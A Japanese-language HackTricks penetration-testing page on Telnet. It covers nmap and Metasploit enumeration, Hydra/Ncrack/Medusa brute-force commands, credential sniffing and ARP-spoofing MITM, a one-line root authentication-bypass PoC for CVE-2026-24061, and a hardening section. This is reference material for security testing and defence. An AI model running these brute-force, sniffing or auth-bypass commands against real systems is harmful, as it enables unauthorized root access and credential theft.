23 - Pentesting Telnet

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

Telnetは、ユーザーがネットワーク経由でコンピュータへアクセスするための安全でないプロトコルです。

既定のポート: 23

23/tcp open  telnet

Enumeration

nc -vn <IP> 23

すべての興味深い enumeration は nmap によって実行できます:

nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>

スクリプト telnet-ntlm-info.nse は NTLM 情報(Windows バージョン)を取得します。

From the telnet RFC: TELNET Protocol にはさまざまな「options」が定義されており、“DO, DON’T, WILL, WON’T” 構造を用いて許可/不許可の交渉が行われ、ユーザとサーバがより複雑(あるいは単に異なる)な TELNET 接続の規約を合意することができます。これらのオプションには文字セットの変更、エコーモードの切替などが含まれます。

列挙できることは分かっていますが、方法が分からないので知っている方がいれば教えてください。

Telnet のオプション / 機能の列挙

Telnet は IAC + DO/DONT/WILL/WONT の交渉を使ってオプションを有効化します。サポートされているオプションは初期交渉をキャプチャすることで観察でき、特定の機能をプローブすることで確認できます。

Nmap のオプション/機能プローブ

# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>

# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>

# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>

telnet-encryption スクリプトは ENCRYPT オプションがサポートされているかをチェックします。いくつかの実装は歴史的にこのオプションを誤って処理し脆弱性がありましたが、このスクリプトはサポートの有無のみを確認します。 telnet-ntlm-info は Microsoft Telnet NTLM が有効な場合に NTLM メタデータ(NetBIOS/DNS/OS build)を開示します。 telnet-brute は Telnet 用の NSE brute-force auditor です。

Brute force

設定ファイル

/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet

HackTricks 自動コマンド

Protocol_Name: Telnet    #Protocol Abbreviation if there is one.
Port_Number:  23     #Comma separated if there is more than one.
Protocol_Description: Telnet          #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip

https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html

Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23

Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}

Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'

最近の脆弱性(2022–2026)

  • CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): telnetサービスの不適切な入力検証により、リモート攻撃者がハードコードされた資格情報でログインし、OSコマンドを注入できる。ファームウェア 1.04B05 以降で修正済み。
  • CVE-2023-40478 – NETGEAR RAX30: Telnet CLI passwd コマンドのスタックベースのバッファオーバーフローにより、ネットワーク隣接からのroot権限でのコード実行が可能になる。認証は必要だが回避されうる。
  • CVE-2022-39028 – GNU inetutils telnetd: 2バイトのシーケンス(0xff 0xf7 / 0xff 0xf8)が telnetd におけるNULLポインタ参照を引き起こす可能性があり、繰り返しクラッシュすると inetd がサービスを無効化してしまう(DoS)。

脆弱性トリアージ時にはこれらのCVEを念頭に置くこと — 対象が未修正のファームウェアや旧式の inetutils Telnet デーモンを実行している場合、直接的なコード実行や破壊的なDoSへ繋がる可能性がある。

CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Critical)

Primitive: Telnet NEW_ENVIRON はオプションネゴシエーション中にクライアントが環境変数を送信することを許可する。inetutils telnetd はログインテンプレート内の %Ugetenv("USER") で置換し、それを直接 /usr/bin/login に渡すため、argv-level option injection(シェル展開は発生しない)を可能にする。
Root cause: バージョン 1.9.3–2.7%U をフィルタなしで展開するため、USER の値が - で始まると login のフラグとして解釈される。例えば %U-f root になり、/usr/bin/login -h <hostname> "-f root" を生成して login -f による認証スキップを引き起こす。

Exploit flow:

  1. Telnetサービスに接続し、NEW_ENVIRON をネゴシエートして USER=-f root を設定する。
  2. telnetd は攻撃者制御の %U 値を含むログイン argv を構築する。
  3. /usr/bin/login-f root を「事前認証済みユーザ root」と解釈し、root シェルを起動する。

PoC

# Inject USER via NEW_ENVIRON and obtain a root shell
USER='-f root' telnet -a <ip>

パッチノート: inetutils 2.7-2 は、login argv に代入する前に先頭が - の値や空白/メタ文字を含む値を拒否する sanitize() ヘルパーを導入し、option injection を防ぎます。
検出/検証: 公開されているデーモンを telnetd --versiondpkg -l | grep inetutilssystemctl status inetutils-telnetd、または netstat -tlnp | grep :23 で確認してください。

緩和策

  • Patch/upgrade 影響を受けるパッケージを直ちに更新してください(例: Debian の修正は 2:2.4-2+deb12u22:2.6-3+deb13u1、および 2:2.7-2 に含まれます)。
  • Disable Telnet またはパッチ適用中は信頼できる管理ネットワークからのアクセスに制限してください。

認証情報の Sniffing と Man-in-the-Middle

Telnet は認証情報を含むすべてを clear-text で送信します。これらをキャプチャする簡単な方法が2つあります:

# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'

# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)

アクティブなMITMでは、ARP spoofing(例: arpspoof/ettercap)と同じsniffing filtersを組み合わせて、スイッチ環境のネットワーク上でpasswordsを収集します。

自動化された Brute-force / Password Spraying

# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>

# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>

# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f

ほとんどの IoT ボットネット(Mirai 派生)は依然として小さなデフォルト認証情報辞書でポート 23 をスキャンします — そのロジックを真似することで弱いデバイスを素早く特定できます。

Exploitation & Post-Exploitation

Metasploit にはいくつか有用なモジュールがあります:

  • auxiliary/scanner/telnet/telnet_version – バナーとオプションの列挙。
  • auxiliary/scanner/telnet/brute_telnet – マルチスレッドのブルートフォース。
  • auxiliary/scanner/telnet/telnet_encrypt_overflow – Solaris 9/10 の Telnet(ENCRYPT オプション処理)に対する RCE。
  • exploit/linux/mips/netgear_telnetenable – 多くの NETGEAR ルーターで細工したパケットにより telnet サービスを有効化。

シェルを取得したら、TTY は通常賢くないことを覚えておいてください;python -c 'import pty;pty.spawn("/bin/bash")' でアップグレードするか、HackTricks TTY tricks を使用してください。

Hardening & Detection (Blue team corner)

  1. SSH を優先し、Telnet サービスを完全に無効化する。
  2. Telnet が必要な場合は、管理 VLAN のみにバインドし、ACL を適用し、デーモンを TCP wrappers(/etc/hosts.allow)でラップする。
  3. レガシーな telnetd 実装は ssl-telnettelnetd-ssl に置き換えてトランスポート暗号化を追加する。ただし、これはデータ転送中の保護のみを提供する — パスワード総当たりは依然として容易
  4. 発信トラフィックのポート 23 宛てを監視する。侵害後に厳しい HTTP egress フィルタを回避するために Telnet 経由で reverse shells を生成することがよくある。

References

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする